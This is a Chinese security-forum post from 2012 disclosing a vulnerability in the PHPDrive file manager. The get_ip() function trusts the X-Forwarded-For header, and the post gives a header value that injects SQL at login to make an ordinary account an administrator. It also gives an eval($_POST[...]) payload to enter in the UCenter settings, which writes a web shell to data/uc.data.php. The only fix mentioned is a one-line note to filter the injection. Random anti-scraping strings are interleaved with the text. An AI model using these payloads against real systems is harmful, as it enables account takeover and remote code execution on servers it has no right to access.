中国网络渗透测试联盟
标题:
PHPDrive权限提升漏洞
[打印本页]
作者:
admin
时间:
2012-12-31 09:18
标题:
PHPDrive权限提升漏洞
PHPDrive 是一套运行于 PHP 环境的文件管理系统，可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等
2 J; T& p$ Q! `" ^, \
% ]/ I6 C. k+ A( J/ s v
includes/user.lib.php
" T2 F* w W8 `: F y
行87
5 X5 R% B) W2 h& V% @1 t
function get_ip() {
# j4 J( Y" g Z. p
if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.
' h& A' ?7 a' O7 l/ I( C1 q* C
在用户注册与登录 处module/disk/account.lead.php
1 K0 ]2 B. S' L: W8 X
198行
" n" @# r6 X6 y* |8 t' }) u6 i
//更新本次登录IP和时间
) j2 u: H7 f# O( e+ ]8 _$ F
$db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
& T+ E F, A$ O+ h
由于本套程序user与manager是存在于同一个表下的，只是用group字段来区分两者,group=1为管理员，2则为普通用户。所以可以利用以上注入，将普通用户的group值改为1，即可提升权限
. x6 s1 y, k y y7 T, n
实现方法：使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆，这时候你就是管理员了.
, b; d% f% W+ ^- n& m
后台getshell:
% S$ ?1 t; }2 a, i8 X
在UCenter设置处，将UC数据库登录名填写为
1 k: e6 {, r: h% K1 q/ l- d
7 C3 G9 j9 j) t- U7 b
root’);eval($_POST[DisKill]);?>/*
" @6 I+ Y5 S9 _
可以得到一个shell,位置在 data/uc.data.php
$ s# V; W. v, L/ D. f% R
* l! x/ p) R2 I2 }$ G- H8 a
修复：过滤注入
4 F0 J- N. i8 K# Y% T c% S3 J
7 O$ e7 g( D R; R; L2 ~: B8 L8 f7 r
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2